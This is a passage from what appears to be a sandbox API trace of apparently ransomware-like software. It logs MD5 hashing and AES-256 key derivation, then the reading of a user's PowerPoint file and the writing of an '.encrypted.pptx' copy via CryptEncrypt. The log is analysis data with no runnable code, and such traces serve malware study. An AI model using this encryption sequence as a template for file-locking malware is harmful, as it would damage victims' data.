lpMsg=0xe8f3dfde30) returned 0 [0024.237] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.237] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.237] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.237] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.237] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.237] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.237] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.237] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.237] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.237] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.237] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.237] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.237] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.237] CryptCreateHash (in: hProv=0xe8f406a550, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.237] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.237] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.237] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.237] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.237] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.237] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.237] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.237] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.238] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.238] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.238] CryptHashData (hHash=0xe8f40625d0, pbData=0xe8f418b510, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.238] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.238] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.238] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.238] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.238] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.238] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.238] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.238] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.238] CryptDeriveKey (in: hProv=0xe8f406a550, Algid=0x660e, hBaseData=0xe8f40625d0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062640) returned 1 [0024.238] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.238] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.238] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.238] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.238] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.238] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.238] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.238] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.238] CryptDestroyHash (hHash=0xe8f40625d0) returned 1 [0024.239] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.240] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.240] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.240] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.240] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.240] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\3 LJxnIVpNPfOuwlcIh-.pptx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\dqohpg0nf9r1mosxu\\3 ljxnivpnpfouwlcih-.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.240] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.240] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.240] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.240] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.240] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.241] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\dqohpg0nf9r1mosxu")) returned 0x10 [0024.241] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\3 LJxnIVpNPfOuwlcIh-.encrypted.pptx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\dqohpg0nf9r1mosxu\\3 ljxnivpnpfouwlcih-.encrypted.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.241] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.241] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.241] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.241] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.242] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.243] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0024.244] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x7f3d, lpOverlapped=0x0) returned 1 [0024.244] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.247] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.247] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.247] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.247] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.248] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.248] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.248] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.248] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.248] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.249] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.249] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.249] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.249] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.249] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.249] CryptGetKeyParam (in: hKey=0xe8f4062640, dwParam=0x7, pbData=0xe8f4064a10, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064a10*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.249] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.249] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.249] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.249] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.249] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.249] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.250] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.250] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.250] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.250] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.250] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.250] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.250] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.250] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.250] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.250] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.250] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.250] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.250] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.250] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.250] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.250] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.250] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.250] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.251] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.251] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x17f3d, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x17f40) returned 1 [0024.251] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.251] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.251] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.251] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.251] CharLowerBuffW (in: lpsz="byte[98113]", cchLength=0xb | out: lpsz="byte[98113]") returned 0xb [0024.251] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.257] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.257] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.257] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.257] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.257] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f42087c0*, pdwDataLen=0xe8f3dfdf68*=0x17f3d, dwBufLen=0x17f40 | out: pbData=0xe8f42087c0*, pdwDataLen=0xe8f3dfdf68*=0x17f40) returned 1 [0024.257] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.257] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.257] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.259] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.259] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.259] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.259] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.259] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.259] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.259] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.259] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.259] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.259] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.259] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.259] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.259] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.259] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.264] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.264] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.264] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.265] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.265] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.265] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.266] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.266] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.266] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.266] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.266] CryptDestroyKey (hKey=0xe8f4062640) returned 1 [0024.266] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.266] PeekMessageW (in: 